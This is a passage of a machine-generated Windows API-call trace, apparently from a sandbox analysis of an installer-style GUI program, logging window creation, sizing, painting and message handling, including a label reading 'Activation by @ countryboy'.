lpPoint=0x18f75c | out: lpPoint=0x18f75c) returned 1 [0263.760] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18f764 | out: lpPoint=0x18f764) returned 1 [0263.760] GetWindowThreadProcessId (in: hWnd=0x10346, lpdwProcessId=0x18f780 | out: lpdwProcessId=0x18f780) returned 0x8cc [0263.760] GetCurrentProcessId () returned 0x8d0 [0263.760] GetPropA (hWnd=0x10346, lpString=0xc167) returned 0x2c87a50 [0263.760] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0xbe10, wParam=0x3460001, lParam=0x10346) returned 0x0 [0263.760] IsIconic (hWnd=0x10346) returned 0 [0263.760] GetWindowRect (in: hWnd=0x10346, lpRect=0x18fd28 | out: lpRect=0x18fd28) returned 1 [0263.760] GetWindowLongA (hWnd=0x10346, nIndex=-16) returned 1140851072 [0263.760] GetWindowLongA (hWnd=0x10346, nIndex=-8) returned 66370 [0263.760] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fd28 | out: lpPoint=0x18fd28) returned 1 [0263.760] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0263.760] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x30, wParam=0x510a018d, lParam=0x1) returned 0x0 [0263.760] SetPropA (hWnd=0x10346, lpString=0xc167, hData=0x2c87a50) returned 1 [0263.760] SetPropA (hWnd=0x10346, lpString=0xc168, hData=0x2c87a50) returned 1 [0263.761] SetWindowPos (hWnd=0x10346, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.761] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x46, wParam=0x0, lParam=0x18fdec) returned 0x0 [0263.761] IsIconic (hWnd=0x10346) returned 0 [0263.761] GetWindowRect (in: hWnd=0x10346, lpRect=0x18fbb8 | out: lpRect=0x18fbb8) returned 1 [0263.761] GetWindowLongA (hWnd=0x10346, nIndex=-16) returned 1140851072 [0263.761] GetWindowLongA (hWnd=0x10346, nIndex=-8) returned 66370 [0263.761] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fbb8 | out: lpPoint=0x18fbb8) returned 1 [0263.761] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fbc0 | out: lpPoint=0x18fbc0) returned 1 [0263.761] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x47, wParam=0x0, lParam=0x18fdec) returned 0x0 [0263.761] SetWindowPos (hWnd=0x10346, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.761] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x46, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0263.761] IsIconic (hWnd=0x10346) returned 0 [0263.761] GetWindowRect (in: hWnd=0x10346, lpRect=0x18fb68 | out: lpRect=0x18fb68) returned 1 [0263.761] GetWindowLongA (hWnd=0x10346, nIndex=-16) returned 1409286528 [0263.761] GetWindowLongA (hWnd=0x10346, nIndex=-8) returned 66370 [0263.761] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fb68 | out: lpPoint=0x18fb68) returned 1 [0263.761] ScreenToClient (in: hWnd=0x10342, lpPoint=0x18fb70 | out: lpPoint=0x18fb70) returned 1 [0263.761] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x47, wParam=0x0, lParam=0x18fd9c) returned 0x0 [0263.762] SetWindowPos (hWnd=0x10342, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.762] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x46, wParam=0x0, lParam=0x18fdb8) returned 0x0 [0263.762] IsIconic (hWnd=0x10342) returned 0 [0263.762] GetWindowRect (in: hWnd=0x10342, lpRect=0x18fb84 | out: lpRect=0x18fb84) returned 1 [0263.762] GetWindowLongA (hWnd=0x10342, nIndex=-16) returned 1442840576 [0263.762] GetWindowLongA (hWnd=0x10342, nIndex=-8) returned 393296 [0263.762] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fb84 | out: lpPoint=0x18fb84) returned 1 [0263.762] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18fb8c | out: lpPoint=0x18fb8c) returned 1 [0263.762] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x47, wParam=0x0, lParam=0x18fdb8) returned 0x0 [0263.762] SetWindowPos (hWnd=0x60050, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.762] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x46, wParam=0x0, lParam=0x18fdd4) returned 0x0 [0263.762] IsIconic (hWnd=0x60050) returned 0 [0263.762] GetWindowRect (in: hWnd=0x60050, lpRect=0x18fba0 | out: lpRect=0x18fba0) returned 1 [0263.762] GetWindowLongA (hWnd=0x60050, nIndex=-16) returned 1442840576 [0263.762] GetWindowLongA (hWnd=0x60050, nIndex=-8) returned 786528 [0263.762] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fba0 | out: lpPoint=0x18fba0) returned 1 [0263.762] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fba8 | out: lpPoint=0x18fba8) returned 1 [0263.762] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x47, wParam=0x0, lParam=0x18fdd4) returned 0x0 [0263.763] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.763] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18fdd0 | out: lpWndClass=0x18fdd0) returned 1 [0263.763] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18fe38 | out: lpWndClass=0x18fe38) returned 1 [0263.763] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="Activation by @ countryboy", dwStyle=0x4400010c, X=10, Y=331, nWidth=135, nHeight=14, hWndParent=0xc0060, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10348 [0263.763] SetWindowLongA (hWnd=0x10348, nIndex=-4, dwNewLong=2296734) returned 4274892 [0263.763] GetWindowLongA (hWnd=0x10348, nIndex=-16) returned 1140850956 [0263.763] GetWindowLongA (hWnd=0x10348, nIndex=-12) returned 0 [0263.763] SetWindowLongA (hWnd=0x10348, nIndex=-12, dwNewLong=66376) returned 0 [0263.763] SetPropA (hWnd=0x10348, lpString=0xc167, hData=0x2c89fac) returned 1 [0263.763] SetPropA (hWnd=0x10348, lpString=0xc168, hData=0x2c89fac) returned 1 [0263.763] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x81, wParam=0x0, lParam=0x18f990) returned 0x1 [0263.763] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x83, wParam=0x0, lParam=0x18f97c) returned 0x0 [0263.764] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x1, wParam=0x0, lParam=0x18f990) returned 0x0 [0263.764] IsIconic (hWnd=0x10348) returned 0 [0263.764] GetWindowRect (in: hWnd=0x10348, lpRect=0x18f790 | out: lpRect=0x18f790) returned 1 [0263.764] GetWindowLongA (hWnd=0x10348, nIndex=-16) returned 1140850956 [0263.764] GetWindowLongA (hWnd=0x10348, nIndex=-8) returned 786528 [0263.764] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f790 | out: lpPoint=0x18f790) returned 1 [0263.764] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f798 | out: lpPoint=0x18f798) returned 1 [0263.764] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x5, wParam=0x0, lParam=0xe0087) returned 0x0 [0263.764] GetClientRect (in: hWnd=0x10348, lpRect=0x18f7bc | out: lpRect=0x18f7bc) returned 1 [0263.764] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x3, wParam=0x0, lParam=0x14b000a) returned 0x0 [0263.764] IsIconic (hWnd=0x10348) returned 0 [0263.764] GetWindowRect (in: hWnd=0x10348, lpRect=0x18f794 | out: lpRect=0x18f794) returned 1 [0263.764] GetWindowLongA (hWnd=0x10348, nIndex=-16) returned 1140850956 [0263.764] GetWindowLongA (hWnd=0x10348, nIndex=-8) returned 786528 [0263.764] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f794 | out: lpPoint=0x18f794) returned 1 [0263.764] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18f79c | out: lpPoint=0x18f79c) returned 1 [0263.764] GetWindowThreadProcessId (in: hWnd=0x10348, lpdwProcessId=0x18f7a0 | out: lpdwProcessId=0x18f7a0) returned 0x8cc [0263.764] GetCurrentProcessId () returned 0x8d0 [0263.764] GetPropA (hWnd=0x10348, lpString=0xc167) returned 0x2c89fac [0263.764] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0xbe10, wParam=0x3480001, lParam=0x10348) returned 0x0 [0263.764] IsIconic (hWnd=0x10348) returned 0 [0263.764] GetWindowRect (in: hWnd=0x10348, lpRect=0x18fd60 | out: lpRect=0x18fd60) returned 1 [0263.764] GetWindowLongA (hWnd=0x10348, nIndex=-16) returned 1140850956 [0263.764] GetWindowLongA (hWnd=0x10348, nIndex=-8) returned 786528 [0263.765] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd60 | out: lpPoint=0x18fd60) returned 1 [0263.765] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fd68 | out: lpPoint=0x18fd68) returned 1 [0263.765] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.765] SetPropA (hWnd=0x10348, lpString=0xc167, hData=0x2c89fac) returned 1 [0263.765] SetPropA (hWnd=0x10348, lpString=0xc168, hData=0x2c89fac) returned 1 [0263.765] SetWindowPos (hWnd=0x10348, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.765] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x46, wParam=0x0, lParam=0x18fe24) returned 0x0 [0263.765] IsIconic (hWnd=0x10348) returned 0 [0263.765] GetWindowRect (in: hWnd=0x10348, lpRect=0x18fbf0 | out: lpRect=0x18fbf0) returned 1 [0263.765] GetWindowLongA (hWnd=0x10348, nIndex=-16) returned 1140850956 [0263.765] GetWindowLongA (hWnd=0x10348, nIndex=-8) returned 786528 [0263.765] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fbf0 | out: lpPoint=0x18fbf0) returned 1 [0263.765] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fbf8 | out: lpPoint=0x18fbf8) returned 1 [0263.765] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x47, wParam=0x0, lParam=0x18fe24) returned 0x0 [0263.765] SetWindowPos (hWnd=0x10348, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0263.765] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x46, wParam=0x0, lParam=0x18fdd4) returned 0x0 [0263.766] IsIconic (hWnd=0x10348) returned 0 [0263.766] GetWindowRect (in: hWnd=0x10348, lpRect=0x18fba0 | out: lpRect=0x18fba0) returned 1 [0263.766] GetWindowLongA (hWnd=0x10348, nIndex=-16) returned 1409286412 [0263.766] GetWindowLongA (hWnd=0x10348, nIndex=-8) returned 786528 [0263.766] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fba0 | out: lpPoint=0x18fba0) returned 1 [0263.766] ScreenToClient (in: hWnd=0xc0060, lpPoint=0x18fba8 | out: lpPoint=0x18fba8) returned 1 [0263.766] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x47, wParam=0x0, lParam=0x18fdd4) returned 0x0 [0263.766] SendMessageA (hWnd=0xc0060, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0263.766] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0263.766] ShowWindow (hWnd=0xc0060, nCmdShow=1) returned 0 [0263.766] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0263.766] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x0, lParam=0xc0060) returned 0x1 [0263.767] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x0, lParam=0xc0060) returned 0x0 [0263.768] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.768] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.768] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.769] IsIconic (hWnd=0xc0060) returned 0 [0263.769] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18fb74 | out: lpRect=0x18fb74) returned 1 [0263.769] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 113901568 [0263.769] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.770] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x83, wParam=0x1, lParam=0x18f9a4) returned 0x0 [0263.770] IsIconic (hWnd=0x80042) returned 0 [0263.770] GetWindowRect (in: hWnd=0x80042, lpRect=0x18fb74 | out: lpRect=0x18fb74) returned 1 [0263.770] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0263.770] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.771] IsIconic (hWnd=0x2024a) returned 0 [0263.771] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.771] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x1, lParam=0x2024a) returned 0x1 [0263.773] SetFocus (hWnd=0x10340) returned 0x2024a [0263.773] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x0 [0263.774] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0263.774] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0263.774] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0263.774] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0263.774] SendMessageA (hWnd=0xc0060, Msg=0xb000, wParam=0x0, lParam=0x0) returned 0x0 [0263.774] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0263.775] GetClientRect (in: hWnd=0x10340, lpRect=0x18f988 | out: lpRect=0x18f988) returned 1 [0263.775] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18f970 | out: lpPoint=0x18f970) returned 1 [0263.775] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f970 | out: lpPoint=0x18f970) returned 1 [0263.775] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18f970 | out: lpPoint=0x18f970) returned 1 [0263.775] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f970 | out: lpPoint=0x18f970) returned 1 [0263.775] IsIconic (hWnd=0xc0060) returned 0 [0263.775] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f970 | out: lpRect=0x18f970) returned 1 [0263.775] IsIconic (hWnd=0xc0060) returned 0 [0263.775] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f970 | out: lpRect=0x18f970) returned 1 [0263.775] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0263.775] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0263.775] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x2024a, lParam=0x0) returned 0x0 [0263.775] GetFocus () returned 0x10340 [0263.775] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0263.775] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.787] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.789] IsIconic (hWnd=0xc0060) returned 0 [0263.789] IsIconic (hWnd=0xc0060) returned 0 [0263.789] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fbc4 | out: lpRect=0x18fbc4) returned 1 [0263.790] FillRect (hDC=0x1b0106ca, lprc=0x18fbc4, hbr=0xe100186) returned 1 [0263.790] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10348, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.790] GetClientRect (in: hWnd=0x10348, lpRect=0x18fbe8 | out: lpRect=0x18fbe8) returned 1 [0263.790] FillRect (hDC=0x1f01019b, lprc=0x18fbe8, hbr=0xe100186) returned 1 [0263.790] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.791] GetClientRect (in: hWnd=0x60050, lpRect=0x18fbe8 | out: lpRect=0x18fbe8) returned 1 [0263.791] FillRect (hDC=0x2a010b57, lprc=0x18fbe8, hbr=0xe100186) returned 1 [0263.791] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.791] GetSysColor (nIndex=5) returned 0xffffff [0263.791] CreateBrushIndirect (plbrush=0x18fbd0) returned 0x2f100178 [0263.791] GetClientRect (in: hWnd=0x10342, lpRect=0x18fbe8 | out: lpRect=0x18fbe8) returned 1 [0263.791] FillRect (hDC=0x1b0106ca, lprc=0x18fbe8, hbr=0x2f100178) returned 1 [0263.791] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10346, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.792] GetClientRect (in: hWnd=0x10346, lpRect=0x18fbe8 | out: lpRect=0x18fbe8) returned 1 [0263.792] FillRect (hDC=0x1f01019b, lprc=0x18fbe8, hbr=0x2f100178) returned 1 [0263.792] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.792] GetClientRect (in: hWnd=0x10344, lpRect=0x18fbe8 | out: lpRect=0x18fbe8) returned 1 [0263.792] FillRect (hDC=0x2a010b57, lprc=0x18fbe8, hbr=0x2f100178) returned 1 [0263.792] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.793] GetClientRect (in: hWnd=0x10340, lpRect=0x18fbdc | out: lpRect=0x18fbdc) returned 1 [0263.793] FillRect (hDC=0x1b0106ca, lprc=0x18fbdc, hbr=0xe100186) returned 1 [0263.793] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1033e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0263.793] GetClientRect (in: hWnd=0x1033e, lpRect=0x18fbdc | out: lpRect=0x18fbdc) returned 1 [0263.793] FillRect (hDC=0x1f01019b, lprc=0x18fbdc, hbr=0xe100186) returned 1 [0263.793] IsIconic (hWnd=0xc0060) returned 0 [0263.793] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18fb74 | out: lpRect=0x18fb74) returned 1 [0263.793] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.793] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0263.794] IsIconic (hWnd=0xc0060) returned 0 [0263.794] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18fb70 | out: lpRect=0x18fb70) returned 1 [0263.794] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.794] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x5, wParam=0x0, lParam=0x16801f1) returned 0x0 [0263.794] IsIconic (hWnd=0xc0060) returned 0 [0263.794] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb9c | out: lpRect=0x18fb9c) returned 1 [0263.794] IsIconic (hWnd=0xc0060) returned 0 [0263.795] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb40 | out: lpRect=0x18fb40) returned 1 [0263.795] IsIconic (hWnd=0xc0060) returned 0 [0263.795] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb38 | out: lpRect=0x18fb38) returned 1 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] IsIconic (hWnd=0xc0060) returned 0 [0263.795] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb84 | out: lpRect=0x18fb84) returned 1 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] IsIconic (hWnd=0xc0060) returned 0 [0263.795] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb84 | out: lpRect=0x18fb84) returned 1 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] IsIconic (hWnd=0xc0060) returned 0 [0263.795] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb58 | out: lpRect=0x18fb58) returned 1 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.795] IsIconic (hWnd=0xc0060) returned 0 [0263.795] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb58 | out: lpRect=0x18fb58) returned 1 [0263.795] SetScrollInfo (hwnd=0xc0060, nBar=1, lpsi=0x18fb8c, redraw=1) returned 0 [0263.796] GetScrollPos (hWnd=0xc0060, nBar=1) returned 0 [0263.796] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.796] IsIconic (hWnd=0xc0060) returned 0 [0263.796] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb58 | out: lpRect=0x18fb58) returned 1 [0263.796] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.796] IsIconic (hWnd=0xc0060) returned 0 [0263.796] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb58 | out: lpRect=0x18fb58) returned 1 [0263.796] SetScrollInfo (hwnd=0xc0060, nBar=0, lpsi=0x18fb8c, redraw=1) returned 0 [0263.797] GetScrollPos (hWnd=0xc0060, nBar=0) returned 0 [0263.797] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x3, wParam=0x0, lParam=0x10501d7) returned 0x0 [0263.797] IsIconic (hWnd=0xc0060) returned 0 [0263.797] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18fb98 | out: lpRect=0x18fb98) returned 1 [0263.797] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0263.797] SetWindowPos (hWnd=0xc0060, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0263.798] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18fedc) returned 0x0 [0263.798] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18fedc) returned 0x0 [0263.798] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18fedc) returned 0x0 [0263.798] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.798] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.798] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.798] IsIconic (hWnd=0x2024a) returned 0 [0263.798] GetFocus () returned 0x10340 [0263.798] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.798] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1e502ec) returned 0x1 [0263.798] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=748, y=485)) returned 1 [0263.798] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0263.798] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.798] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x10342, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.799] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.799] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10344, lParam=0x2000001) returned 0x0 [0263.799] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.799] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.799] GetCapture () returned 0x0 [0263.799] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0263.799] WindowFromPoint (Point=0x2ec) returned 0x10344 [0263.799] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x84, wParam=0x0, lParam=0x1e502ec) returned 0x1 [0263.799] GetWindowThreadProcessId (in: hWnd=0x10344, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0263.799] GetCurrentProcessId () returned 0x8d0 [0263.799] GetPropA (hWnd=0x10344, lpString=0xc167) returned 0x2c87714 [0263.799] ClientToScreen (in: hWnd=0x10344, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0263.799] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x10344, Msg=0x200, wParam=0x0, lParam=0x870065) returned 0x0 [0263.799] GetKeyState (nVirtKey=18) returned 1 [0263.799] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0263.799] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0263.799] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0263.799] IsIconic (hWnd=0xc0060) returned 0 [0263.799] BeginPaint (in: hWnd=0xc0060, lpPaint=0x18fc18 | out: lpPaint=0x18fc18) returned 0x2a010b57 [0263.800] SaveDC (hdc=0x2a010b57) returned 1 [0263.800] MoveToEx (in: hdc=0x2a010b57, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0263.800] GetCurrentPositionEx (in: hdc=0x2a010b57, lppt=0x18fbd8 | out: lppt=0x18fbd8) returned 1 [0263.800] RestoreDC (hdc=0x2a010b57, nSavedDC=1) returned 1 [0263.800] RectVisible (hdc=0x2a010b57, lprect=0x18fbdc) returned 1 [0263.800] SaveDC (hdc=0x2a010b57) returned 1 [0263.800] GetWindowOrgEx (in: hdc=0x2a010b57, lppoint=0x18fbb0 | out: lppoint=0x18fbb0) returned 1 [0263.800] SetWindowOrgEx (in: hdc=0x2a010b57, x=0, y=-313, lppt=0x0 | out: lppt=0x0) returned 1 [0263.800] IntersectClipRect (hdc=0x2a010b57, left=0, top=0, right=497, bottom=2) returned 3 [0263.800] MoveToEx (in: hdc=0x2a010b57, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0263.800] MoveToEx (in: hdc=0x2a010b57, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0263.800] GetSysColor (nIndex=16) returned 0xa0a0a0 [0263.800] CreatePenIndirect (plpen=0x18fafc) returned 0xf30017b [0263.800] SelectObject (hdc=0x2a010b57, h=0xf30017b) returned 0x1b00017 [0263.800] SetROP2 (hdc=0x2a010b57, rop2=13) returned 13 [0263.800] LineTo (hdc=0x2a010b57, x=497, y=0) returned 1 [0263.801] SelectObject (hdc=0x2a010b57, h=0x1b00017) returned 0xf30017b 